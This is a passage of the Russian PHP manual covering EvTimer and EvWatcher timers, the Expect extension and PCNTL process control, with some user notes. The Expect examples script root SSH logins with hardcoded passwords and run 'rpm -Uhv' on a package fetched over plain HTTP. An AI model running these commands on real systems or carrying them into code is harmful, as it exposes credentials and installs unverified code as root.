То есть, после того, как создан экземпляр EvTimer с after равным 5.0 и repeat равным 7.0, remaining вернёт 5.0. Когда таймер запустится и пройдёт 1 секунда, remaining вернёт 4.0. когда таймер истечёт и будет перезапущен, будет "грубо" возвращено 7.0 (обычно чуть меньше, так как запуск callback-функции занимает время) и т.д.

Содержание

  • EvTimer::again — Перезапускает таймер наблюдателя
  • EvTimer::__construct — Конструктор объекта наблюдателя EvTimer
  • EvTimer::createStopped — Создаёт остановленный наблюдатель EvTimer
  • EvTimer::set — Настраивает наблюдателя

User Contributed Notes

There are no user contributed notes for this page.


Перезапускает таймер наблюдателя

  • « EvTimer
  • EvTimer::__construct »
  • PHP Manual
  • EvTimer
  • Перезапускает таймер наблюдателя

EvTimer::again

(PECL ev >= 0.2.0)

EvTimer::again — Перезапускает таймер наблюдателя

Описание

public EvTimer::again(): void

Будет действовать так, как если бы таймер отключился и перезапустился снова, если он повторяется. Точная семантика:

  1. если таймер находится в режиме ожидания, его статус ожидания очищается.

  2. если таймер запущен, но не повторяется, останавливает его (как если бы он истёк).

  3. если таймер повторяется, либо запускает его, при необходимости (со значением repeat), либо сбрасывает таймер запуска на значение repeat.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • EvWatcher::stop() - Останавливает наблюдателя

User Contributed Notes

There are no user contributed notes for this page.


Конструктор объекта наблюдателя EvTimer

  • « EvTimer::again
  • EvTimer::createStopped »
  • PHP Manual
  • EvTimer
  • Конструктор объекта наблюдателя EvTimer

EvTimer::__construct

(PECL ev >= 0.2.0)

EvTimer::__construct — Конструктор объекта наблюдателя EvTimer

Описание

public EvTimer::__construct(
float $after ,
float $repeat ,
callable $callback ,
mixed $data = null ,
int $priority = 0
)

Конструктор объекта наблюдателя EvTimer.

Список параметров

after

Настраивает таймер для запуска через after секунд.

repeat

Если время повтора равно 0.0, то он будет автоматически остановлен после истечения времени ожидания. Если положительное, таймер будет автоматически настроен на повторный запуск каждые повторяющиеся секунды, пока не будет остановлен вручную.

callback

Смотрите Наблюдатели callback-функций .

data

Пользовательские данные, связанные с наблюдателем.

priority

Приоритет наблюдателя

Примеры

Пример #1 Простые таймеры

<?php
// Создаёт и запускает таймер через 2 секунды
$w1 = new EvTimer(2, 0, function () {
echo "2 секунды прошло\n";
});

// Создаёт и запускает таймер через 2 секунды, повторяя каждую секунду
// пока мы не остановим его вручную
$w2 = new EvTimer(2, 1, function ($w) {
echo "вызывается каждую секунду, запускается через 2 секунды\n";
echo "итерация = ", Ev::iteration(), PHP_EOL;

// Останавливаем наблюдателя после 5 итераций
Ev::iteration() == 5 and $w->stop();
// Останавливаем наблюдателя, если дальнейшие вызовы вызовут более 10 итераций
Ev::iteration() >= 10 and $w->stop();
});

// Создаём остановленный таймер. Он будет неактивным, пока мы не запустим его сами
$w_stopped = EvTimer::createStopped(10, 5, function($w) {
echo "Callback-функция таймера, созданного как остановленный\n";

// Останавливаем наблюдателя после 2 итераций
Ev::iteration() >= 2 and $w->stop();
});

// Цикл до вызова Ev::stop() или остановки всех наблюдателей
Ev::run();

// Запускаем и смотрим, работает ли он
$w_stopped->start();
echo "Запустили одну итерацию\n";
Ev::run(Ev::RUN_ONCE);

echo "Перезапустили второй наблюдатель и пробуем обработать те же события, но не блокируем\n";
$w2->again();
Ev::run(Ev::RUN_NOWAIT);

$w = new EvTimer(10, 0, function() {});
echo "Запуск заблокированного цикла\n";
Ev::run();
echo "END\n";
?>

Результатом выполнения данного примера будет что-то подобное:

2 секунды прошло
вызывается каждую секунду, запускается через 2 секунды
итерация = 1
вызывается каждую секунду, запускается через 2 секунды
итерация = 2
вызывается каждую секунду, запускается через 2 секунды
итерация = 3
вызывается каждую секунду, запускается через 2 секунды
итерация = 4
вызывается каждую секунду, запускается через 2 секунды
итерация = 5
Запустили одну итерацию
Callback-функция таймера, созданного как остановленный
Перезапустили второй наблюдатель и пробуем обработать те же события, но не блокируем
Запуск заблокированного цикла
вызывается каждую секунду, запускается через 2 секунды
итерация = 8
вызывается каждую секунду, запускается через 2 секунды
итерация = 9
итерация каждую секунду, запускается через 2 секунды
итерация = 10
END

Смотрите также

  • EvTimer::createStopped() - Создаёт остановленный наблюдатель EvTimer
  • EvPeriodic
  • » ev_timer - относительное и необязательно повторяющееся время ожидания
  • » Будьте осторожны со временем ожидания

User Contributed Notes

Jayesh Wadhwani 30-Jul-2013 02:56
Example of passing custom data:

<?php
// Create and start timer firing after 2 seconds with custom data
$w1 = new EvTimer(2, 0, function ($w) {
    echo "Custom data: $w->data\n";
    echo "2 seconds elapsed\n";
}, 'abcd');
Ev::run();
?>
Running this will print out:
Custom data: abcd
2 seconds elapsed

Note that 'data' is a public property of the event EvWatcher class.


Создаёт остановленный наблюдатель EvTimer

  • « EvTimer::__construct
  • EvTimer::set »
  • PHP Manual
  • EvTimer
  • Создаёт остановленный наблюдатель EvTimer

EvTimer::createStopped

(PECL ev >= 0.2.0)

EvTimer::createStopped — Создаёт остановленный наблюдатель EvTimer

Описание

final public static EvTimer::createStopped(
float $after ,
float $repeat ,
callable $callback ,
mixed $data = null ,
int $priority = 0
): EvTimer

Создаёт остановленный наблюдатель EvTimer. В отличие от EvTimer::__construct(), этот метод не запускает наблюдателя автоматически.

Список параметров

after

Настраивает таймер для запуска через after секунд.

repeat

Если время повтора равно 0.0, то он будет автоматически остановлен после истечения времени ожидания. Если положительное, таймер будет автоматически настроен на повторный запуск каждые повторяющиеся секунды, пока не будет остановлен вручную.

callback

Смотрите Наблюдатели callback-функций .

data

Пользовательские данные, связанные с наблюдателем.

priority

Приоритет наблюдателя

Возвращаемые значения

Возвращает объект наблюдателя EvTimer в случае успешного выполнения.

Примеры

Пример #1 Следим за изменениями /var/log/messages. Избегаем пропущенные обновления с задержкой в одну секунду

<?php
$timer = EvTimer::createStopped(0., 1.02, function ($w) {
$w->stop();

$stat = $w->data;

// 1 секунда после последнего изменения файла
printf("Текущий размер: %ld\n", $stat->attr()['size']);
});

$stat = new EvStat("/var/log/messages", 0., function () use ($timer) {
// Сброс таймера наблюдателя
$timer->again();
});

$timer->data = $stat;

Ev::run();
?>

Смотрите также

  • EvTimer::__construct() - Конструктор объекта наблюдателя EvTimer
  • EvPeriodic

User Contributed Notes

There are no user contributed notes for this page.


Настраивает наблюдателя

  • « EvTimer::createStopped
  • EvWatcher »
  • PHP Manual
  • EvTimer
  • Настраивает наблюдателя

EvTimer::set

(PECL ev >= 0.2.0)

EvTimer::set — Настраивает наблюдателя

Описание

public EvTimer::set( float $after , float $repeat ): void

Настраивает наблюдателя

Список параметров

after

Настраивает таймер для запуска через after секунд.

repeat

Если время повтора равно 0.0, то он будет автоматически остановлен после истечения времени ожидания. Если положительное, таймер будет автоматически настроен на повторный запуск каждые повторяющиеся секунды, пока не будет остановлен вручную.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Класс EvWatcher

(PECL ev >= 0.2.0)

Введение

EvWatcher является базовым классом для всех наблюдателей( EvCheck, EvChild и т.д.). Так как конструктор EvWatcher имеет модификатор abstract, вы не должны (и не сможете) создавать объекты этого класса напрямую.

Обзор классов

abstract class EvWatcher {
/* Свойства */
public $is_active;
public $data;
public $is_pending;
public $priority;
/* Методы */
abstract public __construct()
public clear(): int
public feed( int $revents ): void
public getLoop(): EvLoop
public invoke( int $revents ): void
public keepalive( bool $value = ?): bool
public setCallback( callable $callback ): void
public start(): void
public stop(): void
}

Свойства

is_active

Только чтение. Если наблюдатель активен, то true, если нет, то false.

data

Произвольные пользовательские данные.

is_pending

Только чтение. если наблюдатель в режиме ожидания, то есть имеет неразобранные сообщения, а callback-функция ещё не запускалась, то true. В противном случае false. Пока наблюдатель находится в режиме ожидания (но не активен), вы не должны изменять его приоритет.

priority

Целое число (int) в диапазоне от Ev::MINPRI до Ev::MAXPRI. Ожидающие наблюдатели с более высоким приоритетом будут вызваны раньше наблюдателей с более низким приоритетом, но приоритет не будет препятствовать запуску наблюдателя (за исключением наблюдателей EvIdle). Наблюдатели EvIdle предоставляют функционал, предотвращающий вызов, если есть ожидающие высокоприоритетные сообщения.

Содержание

  • EvWatcher::clear — Очистить статус ожидания наблюдателя
  • EvWatcher::__construct — Абстрактный конструктор объекта наблюдателя
  • EvWatcher::feed — Подаёт указанные события в цикл событий
  • EvWatcher::getLoop — Возвращает цикл, отвечающий за наблюдателя
  • EvWatcher::invoke — Вызывает callback-функцию наблюдателя с заданной битовой маской принятых событий
  • EvWatcher::keepalive — Настраивает, будет ли возвращаться цикл
  • EvWatcher::setCallback — Устанавливает новую callback-функцию для наблюдателя
  • EvWatcher::start — Запускает наблюдателя
  • EvWatcher::stop — Останавливает наблюдателя

User Contributed Notes

There are no user contributed notes for this page.


Очистить статус ожидания наблюдателя

  • « EvWatcher
  • EvWatcher::__construct »
  • PHP Manual
  • EvWatcher
  • Очистить статус ожидания наблюдателя

EvWatcher::clear

(PECL ev >= 0.2.0)

EvWatcher::clear — Очистить статус ожидания наблюдателя

Описание

public EvWatcher::clear(): int

Если наблюдатель находится в состоянии pending, этот метод очищает его состояние ожидания и возвращает его битовый набор revents (как если бы была вызвана его callback-функция). Если наблюдатель не в состоянии ожидания, он ничего не делает и возвращает 0.

Иногда может быть полезно "опросить" наблюдателя, а не ждать его callback-функцию, что может быть выполнено с помощью этой функции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае, если наблюдатель находится в состоянии ожидания, возвращает битовый набор revents, как если бы была вызвана callback-функция наблюдателя. В противном случае возвращает 0.

User Contributed Notes

There are no user contributed notes for this page.


Абстрактный конструктор объекта наблюдателя

  • « EvWatcher::clear
  • EvWatcher::feed »
  • PHP Manual
  • EvWatcher
  • Абстрактный конструктор объекта наблюдателя

EvWatcher::__construct

(PECL ev >= 0.2.0)

EvWatcher::__construct — Абстрактный конструктор объекта наблюдателя

Описание

abstract public EvWatcher::__construct()

EvWatcher::__construct() является абстрактным конструктором объекта наблюдателя, реализованного в производных классах.

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Подаёт указанные события в цикл событий

  • « EvWatcher::__construct
  • EvWatcher::getLoop »
  • PHP Manual
  • EvWatcher
  • Подаёт указанные события в цикл событий

EvWatcher::feed

(PECL ev >= 0.2.0)

EvWatcher::feed — Подаёт указанные события в цикл событий

Описание

public EvWatcher::feed( int $revents ): void

Подаёт указанные события в цикл событий, как если бы указанное событие произошло для наблюдателя.

Список параметров

revents

Битовая маска наблюдателя принятых событий .

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает цикл, отвечающий за наблюдателя

  • « EvWatcher::feed
  • EvWatcher::invoke »
  • PHP Manual
  • EvWatcher
  • Возвращает цикл, отвечающий за наблюдателя

EvWatcher::getLoop

(PECL ev >= 0.2.0)

EvWatcher::getLoop — Возвращает цикл, отвечающий за наблюдателя

Описание

public EvWatcher::getLoop(): EvLoop

Возвращает цикл, отвечающий за наблюдателя

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает объект цикла событий EvLoop, отвечающий за наблюдателя.

User Contributed Notes

There are no user contributed notes for this page.


Вызывает callback-функцию наблюдателя с заданной битовой маской принятых событий

  • « EvWatcher::getLoop
  • EvWatcher::keepalive »
  • PHP Manual
  • EvWatcher
  • Вызывает callback-функцию наблюдателя с заданной битовой маской принятых событий

EvWatcher::invoke

(PECL ev >= 0.2.0)

EvWatcher::invoke — Вызывает callback-функцию наблюдателя с заданной битовой маской принятых событий

Описание

public EvWatcher::invoke( int $revents ): void

Вызывает callback-функцию наблюдателя с заданной битовой маской принятых событий.

Список параметров

revents

Битовая маска наблюдателя принятых событий.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Настраивает, будет ли возвращаться цикл

  • « EvWatcher::invoke
  • EvWatcher::setCallback »
  • PHP Manual
  • EvWatcher
  • Настраивает, будет ли возвращаться цикл

EvWatcher::keepalive

(PECL ev >= 0.2.0)

EvWatcher::keepalive — Настраивает, будет ли возвращаться цикл

Описание

public EvWatcher::keepalive( bool $value = ?): bool

Настраивает, будет ли возвращаться цикл. Если value поддержания установлено false, наблюдатель не будет препятствовать возврату Ev::run() / EvLoop::run(), даже если наблюдатель активен.

Наблюдатели по умолчанию имеют value поддержания true.

Очистка статуса поддержания полезна при возврате из Ev::run() / EvLoop::run() только потому, что наблюдатель нежелателен. Это может быть долго работающий наблюдатель UDP-сокета или около того.

Список параметров

value

Если value поддержания установлено false, наблюдатель не будет препятствовать возврату Ev::run() / EvLoop::run(), даже если наблюдатель активен.

Возвращаемые значения

Возвращает предыдущее состояние.

Примеры

Пример #1 Регистрируем наблюдатель ввода-вывода для какого-либо UDP-сокета, но не препятствуем запуску цикла событий только из-за этого наблюдателя.

<?php
$udp_socket = ...
$udp_watcher = new EvIo($udp_socket, Ev::READ, function () { /* ... */ });
$udp_watcher->keepalive(FALSE);
?>

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает новую callback-функцию для наблюдателя

  • « EvWatcher::keepalive
  • EvWatcher::start »
  • PHP Manual
  • EvWatcher
  • Устанавливает новую callback-функцию для наблюдателя

EvWatcher::setCallback

(PECL ev >= 0.2.0)

EvWatcher::setCallback — Устанавливает новую callback-функцию для наблюдателя

Описание

public EvWatcher::setCallback( callable $callback ): void

Устанавливает новую callback-функцию для наблюдателя

Список параметров

callback

Смотрите callback-функции наблюдателей .

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Запускает наблюдателя

  • « EvWatcher::setCallback
  • EvWatcher::stop »
  • PHP Manual
  • EvWatcher
  • Запускает наблюдателя

EvWatcher::start

(PECL ev >= 0.2.0)

EvWatcher::start — Запускает наблюдателя

Описание

public EvWatcher::start(): void

Отмечает наблюдателя как активного. Обратите внимание, что только активные наблюдатели будут получать события.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • EvWatcher::stop() - Останавливает наблюдателя

User Contributed Notes

There are no user contributed notes for this page.


Останавливает наблюдателя

  • « EvWatcher::start
  • Expect »
  • PHP Manual
  • EvWatcher
  • Останавливает наблюдателя

EvWatcher::stop

(PECL ev >= 0.2.0)

EvWatcher::stop — Останавливает наблюдателя

Описание

public EvWatcher::stop(): void

Отмечает наблюдателя как неактивного. Обратите внимание, что только активные наблюдатели будут получать события.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • EvWatcher::start() - Запускает наблюдателя

User Contributed Notes

There are no user contributed notes for this page.


Expect

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
    • Примеры использования Expect
  • Функции Expect
    • expect_expectl — Ожидает, пока вывод потока не совпадёт с одним из шаблонов, либо пока не закончится максимальное время ожидания, либо вернётся EOF
    • expect_popen — Запускает команду через командную оболочку Bourne и открывает для процесса поток PTY

User Contributed Notes

There are no user contributed notes for this page.


Введение

Этот модуль позволяет взаимодействовать с процессами через PTY. Вы можете использовать обёртку expect:// с функциями файловой системы, которые обеспечивают более простой и интуитивно понятный интерфейс.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Этот модуль использует библиотеку » expect. Необходима библиотека libexpect версии >= 5.43.0.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Этот модуль » PECL не поставляется вместе с PHP. Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/expect.

Для использования этого модуля вам необходимо собрать PHP с опцией --with-expect[=DIR].

Для использования в Windows нужно разрешить php_expect.dll в php.ini. DLL для этого модуля PECL в данный момент недоступна. Смотрите также раздел сборка на Windows.

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Для настройки модуля используйте нижеперечисленные опции конфигурационного файла php.ini.

Опции настройки Expect
Имя | По умолчанию | Место изменения | Список изменений
expect.timeout | "10" | PHP_INI_ALL |
expect.loguser | "1" | PHP_INI_ALL |
expect.logfile | "" | PHP_INI_ALL |
expect.match_max | "" | PHP_INI_ALL |
Для подробного описания констант PHP_INI_*, обратитесь к разделу Где могут быть установлены параметры конфигурации.

Краткое разъяснение конфигурационных директив.

expect.timeout int

Максимальное время ожидания данных при использовании функции expect_expectl().

Значение "-1" задаёт вечное ожидание.

Замечание:

Значение "0" означает, что функция expect_expectl() завершится сразу.

expect.loguser bool

Определяет, будет ли порождённый процесс производить вывод в поток stdout. Так как интерактивные программы обычно дублируют пользовательский ввод, обычно нужно разрешать эту опцию, чтобы взаимодействие было осознанным.

expect.logfile string

Имя файла, куда будет писаться вывод порождённого процесса. Если файл не существует, он будет создан.

Замечание:

Если этой опции присвоено какое-либо не пустое значение, то вывод будет писаться в файл вне зависимости от настройки expect.loguser.

expect.match_max int

Изменяет размер буфера (по умолчанию 2000 байт) используемого для поиска символа звёздочки в шаблонах.

User Contributed Notes

There are no user contributed notes for this page.


Типы ресурсов

expect_popen() возвращает открытый поток PTY используемый expect_expectl().

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

EXP_GLOB (int)
Указывает, что шаблон является шаблоном поиска файла (glob).
EXP_EXACT (int)
Указывает, что шаблон является точной строкой.
EXP_REGEXP (int)
Указывает, что шаблон является регулярным выражением.
EXP_EOF (int)
Значение, возвращаемое expect_expectl(), когда достигнут конец файла.
EXP_TIMEOUT (int)
Значение, возвращаемое expect_expectl() после исчерпания времени ожидания, заданного в expect.timeout
EXP_FULLBUFFER (int)
Значение, возвращаемое expect_expectl(), когда совпадений с шаблоном не найдено.

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Содержание

  • Примеры использования Expect

User Contributed Notes

There are no user contributed notes for this page.


Примеры использования Expect

Пример #1 Пример использования Expect

В этом примере мы соединимся с удалённым хостом по SSH, и напечатаем время непрерывной работы сервера.

<?php
ini_set("expect.loguser", "Off");

$stream = fopen("expect://ssh root@remotehost uptime", "r");

$cases = array (
array (0 => "password:", 1 => PASSWORD)
);

switch (expect_expectl ($stream, $cases)) {
case PASSWORD:
fwrite ($stream, "password\n");
break;

default:
die ("Ошибка соединения с удалённым сервером!\n");
}

while ($line = fgets($stream)) {
print $line;
}
fclose ($stream);
?>

В следующем примере мы соединимся с удалённым сервером, узнаем разрядность его операционной системы и запустим обновления указанного пакета.

Пример #2 Ещё один пример использования Expect

<?php
ini_set("expect.timeout", -1);
ini_set("expect.loguser", "Off");

$stream = expect_popen("ssh root@remotehost");

while (true) {
switch (expect_expectl ($stream, array (
array ("password:", PASSWORD), // SSH запрашивает пароль
array ("yes/no)?", YESNO), // SSH спрашивает, сохранять ли запись хоста
array ("~$ ", SHELL, EXP_EXACT), // Мы получили доступ к коммандной оболочке!
))) {
case PASSWORD:
fwrite ($stream, "secret\n");
break;

case YESNO:
fwrite ($stream, "yes\n");
break;

case SHELL:
fwrite ($stream, "uname -a\n");
while (true) {
switch (expect_expectl ($stream, array (
array ("~$ ", SHELL, EXP_EXACT), // Мы получили доступ к коммандной оболочке!
array ("^Linux.*$", UNAME, EXP_REGEXP), // вывод uname -a
), $match)) {
case UNAME:
$uname .= $match[0];
break;

case SHELL:
// Run update:
if (strstr ($uname, "x86_64")) {
fwrite ($stream, "rpm -Uhv http://mirrorsite/somepath/some_64bit.rpm\n");
} else {
fwrite ($stream, "rpm -Uhv http://mirrorsite/somepath/some_32bit.rpm\n");
}
fwrite ($stream, "exit\n");
break 2;

case EXP_TIMEOUT:
case EXP_EOF:
break 2;

default:
die ("Случилась ошибка!\n");
}
}
break 2;

case EXP_TIMEOUT:
case EXP_EOF:
break 2;

default:
die ("Случилась ошибка!\n");
}
}

fclose ($stream);
?>

User Contributed Notes

David dkxl 28-Dec-2012 06:30
If using the examples with telnet instead of ssh, note that telnet may need \r (Carriage Return) instead of \n (New Line)


Функции Expect

Содержание

  • expect_expectl — Ожидает, пока вывод потока не совпадёт с одним из шаблонов, либо пока не закончится максимальное время ожидания, либо вернётся EOF
  • expect_popen — Запускает команду через командную оболочку Bourne и открывает для процесса поток PTY

User Contributed Notes

There are no user contributed notes for this page.


Ожидает, пока вывод потока не совпадёт с одним из шаблонов, либо пока не закончится максимальное время ожидания, либо вернётся EOF

  • « Функции Expect
  • expect_popen »
  • PHP Manual
  • Функции Expect
  • Ожидает, пока вывод потока не совпадёт с одним из шаблонов, либо пока не закончится максимальное время ожидания, либо вернётся EOF

expect_expectl

(PECL expect >= 0.1.0)

expect_expectl — Ожидает, пока вывод потока не совпадёт с одним из шаблонов, либо пока не закончится максимальное время ожидания, либо вернётся EOF

Описание

expect_expectl(resource $expect, array $cases, array &$match = ?): int

Ожидает, пока вывод потока не совпадёт с одним из шаблонов, либо пока не закончится максимальное время ожидания, либо вернётся EOF.

Если задан параметр match, то он заполняется с результатами поиска. Совпавшая строка будет сохранена в match[0]. Совпавшие подстроки (в зависимости от скобок) в оригинальном шаблоне будут сохранены в match[1], match[2], вплоть до match[9] (ограничения libexpect).

Список параметров

expect

Поток Expect, открытый с помощью expect_popen().

cases

Массив ожидаемых значений. Каждое ожидаемое значение представляет из себя индексированный массив, описанный в этой таблице:

Expect Case Array
Индекс | Тип значения | Описание | Обязательный | Значение по умолчанию
0 | string | шаблон, который будет сравниваться с потоком вывода | да
1 | mixed | значение, которое вернёт функция, если совпадение найдено | да
2 | integer | тип шаблона: EXP_GLOB, EXP_EXACT или EXP_REGEXP | нет | EXP_GLOB

Возвращаемые значения

Возвращает значение, связанное с шаблоном с которым оно совпало.

В случае возникновения ошибки функция вернёт: EXP_EOF, EXP_TIMEOUT или EXP_FULLBUFFER

Список изменений

Версия | Описание
PECL expect 0.2.1 | До версии 0.2.1, в параметр match возвращалась строка, а не массив совпавших строк.

Примеры

Пример #1 Пример использования expect_expectl()

<?php
// Копируем файлы с сервера:
ini_set("expect.timeout", 30);

$stream = fopen("expect://scp user@remotehost:/var/log/messages /home/user/messages.txt", "r");

$cases = array(
// array(шаблон, возвращаемов в случае совпадения значение)
array("password:", "asked for password"),
array("yes/no)?", "asked for yes/no")
);

while (true) {
switch (expect_expectl($stream, $cases)) {
case "asked for password":
fwrite($stream, "my password\n");
break;
case "asked for yes/no":
fwrite($stream, "yes\n");
break;
case EXP_TIMEOUT:
case EXP_EOF:
break 2; // Прерывает как switch так и цикл while
default:
die("Произошла ошибка!");
}
}

fclose($stream);
?>

Смотрите также

  • expect_popen() - Запускает команду через командную оболочку Bourne и открывает для процесса поток PTY

User Contributed Notes

There are no user contributed notes for this page.


Запускает команду через командную оболочку Bourne и открывает для процесса поток PTY

  • « expect_expectl
  • PCNTL »
  • PHP Manual
  • Функции Expect
  • Запускает команду через командную оболочку Bourne и открывает для процесса поток PTY

expect_popen

(PECL expect >= 0.1.0)

expect_popen — Запускает команду через командную оболочку Bourne и открывает для процесса поток PTY

Описание

expect_popen(string $command): resource

Запускает команду через командную оболочку Bourne и открывает для процесса поток PTY.

Список параметров

command

Команда для запуска.

Возвращаемые значения

Возвращает поток PTY для stdio, stdout, и stderr процесса.

В случае возникновения ошибки возвращает false.

Примеры

Пример #1 Пример использования expect_popen()

<?php
// Соединение с CVS репозиторием PHP.net:
$stream = expect_popen ("cvs -d :pserver:anonymous@cvs.php.net:/repository login");
sleep (3);
fwrite ($stream, "phpfi\n");
fclose ($stream);
?>

Смотрите также

  • popen() - Открывает файловый указатель процесса

User Contributed Notes

There are no user contributed notes for this page.


Управление процессами

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
    • Базовое применение
  • Функции PCNTL
    • pcntl_alarm — Задать таймер доставки сигнала SIGALRM
    • pcntl_async_signals — Включить/отключить асинхронную обработку сигналов, либо получить текущий статус
    • pcntl_errno — Псевдоним pcntl_get_last_error
    • pcntl_exec — Запустить указанную программу в области текущего процесса
    • pcntl_fork — Разветвить (fork) текущий запущенный процесс
    • pcntl_get_last_error — Получить код последней ошибки, возникшей в pcntl-функции
    • pcntl_getpriority — Получить значение приоритета процесса
    • pcntl_rfork — Взаимодействует с ресурсами процесса
    • pcntl_setpriority — Изменить приоритет процесса
    • pcntl_signal_dispatch — Вызывает обработчики для ожидающих сигналов
    • pcntl_signal_get_handler — Получить текущий обработчик указанного сигнала
    • pcntl_signal — Установка обработчика сигнала
    • pcntl_sigprocmask — Задаёт и извлекает список блокируемых сигналов
    • pcntl_sigtimedwait — Ожидает сигналы в течение заданного времени
    • pcntl_sigwaitinfo — Ожидание сигналов
    • pcntl_strerror — Получить текст ошибки по её коду
    • pcntl_unshare — Разделяет части контекста выполнения процесса
    • pcntl_wait — Ожидает или возвращает статус порождённого дочернего процесса
    • pcntl_waitpid — Ожидает или возвращает статус порождённого дочернего процесса
    • pcntl_wexitstatus — Получить код возврата завершённого дочернего процесса
    • pcntl_wifexited — Проверяет, соответствует ли код завершения процесса нормальному завершению
    • pcntl_wifsignaled — Проверить, соответствует ли код завершения процесса завершению по сигналу
    • pcntl_wifstopped — Проверить, остановлен ли дочерний процесс
    • pcntl_wstopsig — Получить сигнал, из-за которого был остановлен дочерний процесс
    • pcntl_wtermsig — Получить сигнал, из-за которого был принудительно завершён дочерний процесс

User Contributed Notes

There are no user contributed notes for this page.


Введение

Поддержка управления процессами в PHP реализует Unix-стиль создания процессов, запуска программ, обработки сигналов и остановки процессов. Управление процессами должно быть ОТКЛЮЧЕНО в окружении веб-сервера и результат будет непредсказуем, если функции управления процессами будут использованы в окружении такого веб-сервера. (На практике это значит, что pcntl можно использовать только в CLI и CGI, но не в apache mod_php)

Настоящая документация предназначена для объяснения основ использования каждой из функций управления процессами. Для более детального ознакомления с информацией об управлении Unix-процессами рекомендуется обратиться к вашему системному руководству, включая fork(2), waitpid(2) и signal(2) или к полному справочнику такому как "UNIX. Профессиональное программирование" У. Ричарда Стивенса (Advanced Programming in the UNIX Environment by W. Richard Stevens (Addison-Wesley).

PCNTL, на данный момент, использует "тики" как механизм обработки callback-функций, который значительно быстрее чем предыдущий механизм. Это изменение семантически похоже на использование "user ticks". Вы используете инструкцию declare(), чтобы задать расположение в программе, в котором callback-функции тика могут быть выполнены. Это позволяет минимизировать накладные расходы на обработку асинхронных событий. В прошлом, компиляция PHP со включённым pcntl всегда приводила к появлению этих накладных расходов, вне зависимости от того, использует ваш скрипт pcntl или нет.

Замечание: Для Windows-платформ этот модуль недоступен.

User Contributed Notes

InvisibleSmiley 09-Nov-2020 08:34
The disabling of pcntl functions not only affects Apache servers but any non-CLI setup, e.g. nginx with PHP-FPM.

You can tell by issuing phpinfo() and looking at "disable_functions" in the Core section of the output.

It's also worth noting that this behavior can be quite misleading when you call one of the pcntl functions in a namespaced context. For example you may get:

"Call to undefined function some\custom\namespace\pcntl_signal()"

when calling pcntl_signal from a method within a namespaced class. Your first instinct may be to add a leading backslash, but that won't solve the problem. You need to check whether the function exists at runtime, unless the code is only ever executed from the CLI.
Rick Sustek 15-Jun-2016 09:02
Actually it makes perfect sense why process control features are not supported for the Apache module. The Apache HTTP server is the chief process. It invokes the PHP module when steered to PHP by the resource requested (e.g. http://foo.php) It invokes the PHP module, typically on a new thread or a pooled thread. The PHP module then runs your script, but Apache server is still the owning process.

In this execution model, the job of your PHP script is generally to go about its business as fast as possible and return. This allows the Apache daemon to do something else useful with the thread it let you borrow. Yes, some scripts take longer to do their duty than others, but blocking the thread for extended periods is usually frowned upon.

If your script was allowed to mess with the signal handlers of the running process, it would be messing with the Apache daemon itself! That daemon has already installed signal handlers for its own use. It is just plain sense not to allow the process control operations in this context.
sean dot kelly at mediatile dot com 09-Jan-2012 01:32
The following statement left me searching for answers for about a day before I finally clued in:

"Process Control should not be enabled within a web server environment and unexpected results may happen if any Process Control functions are used within a web server environment."

At least for PHP 5.3.8 which I am using, and who knows how far back, it's not a matter of "should not", it's "can not". Even though I have compiled in PCNTL with --enable-pcntl, it turns out that it only compiles in to the CLI version of PHP, not the Apache module. As a result, I spent many hours trying to track down why function_exists('pcntl_fork') was returning false even though it compiled correctly. It turns out it returns true just fine from the CLI, and only returns false for HTTP requests. The same is true of ALL of the pcntl_*() functions.


Установка

Поддержка Управления процессами в PHP по умолчанию не активна. Для включения поддержки Управления процессами вы должны скомпилировать CGI или CLI версию PHP с конфигурационным параметром --enable-pcntl.

Замечание:

На данный момент этот модуль не работает на не-Unix платформах (Windows).

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Функции Управления процессами поддерживают следующий список сигналов. Для детального ознакомления со стандартным поведением этих сигналов пожалуйста обратитесь к системному руководству signal(7).

Константы управления процессом
WNOHANG (int)
WUNTRACED (int)
Константы SIG_*
SIG_IGN (int)
SIG_DFL (int)
SIG_ERR (int)
SIGHUP (int)
SIGINT (int)
SIGQUIT (int)
SIGILL (int)
SIGTRAP (int)
SIGABRT (int)
SIGIOT (int)
SIGBUS (int)
SIGFPE (int)
SIGKILL (int)
SIGUSR1 (int)
SIGSEGV (int)
SIGUSR2 (int)
SIGPIPE (int)
SIGALRM (int)
SIGTERM (int)
SIGSTKFLT (int)
SIGCLD (int)
SIGCHLD (int)
SIGCONT (int)
SIGSTOP (int)
SIGTSTP (int)
SIGTTIN (int)
SIGTTOU (int)
SIGURG (int)
SIGXCPU (int)
SIGXFSZ (int)
SIGVTALRM (int)
SIGPROF (int)
SIGWINCH (int)
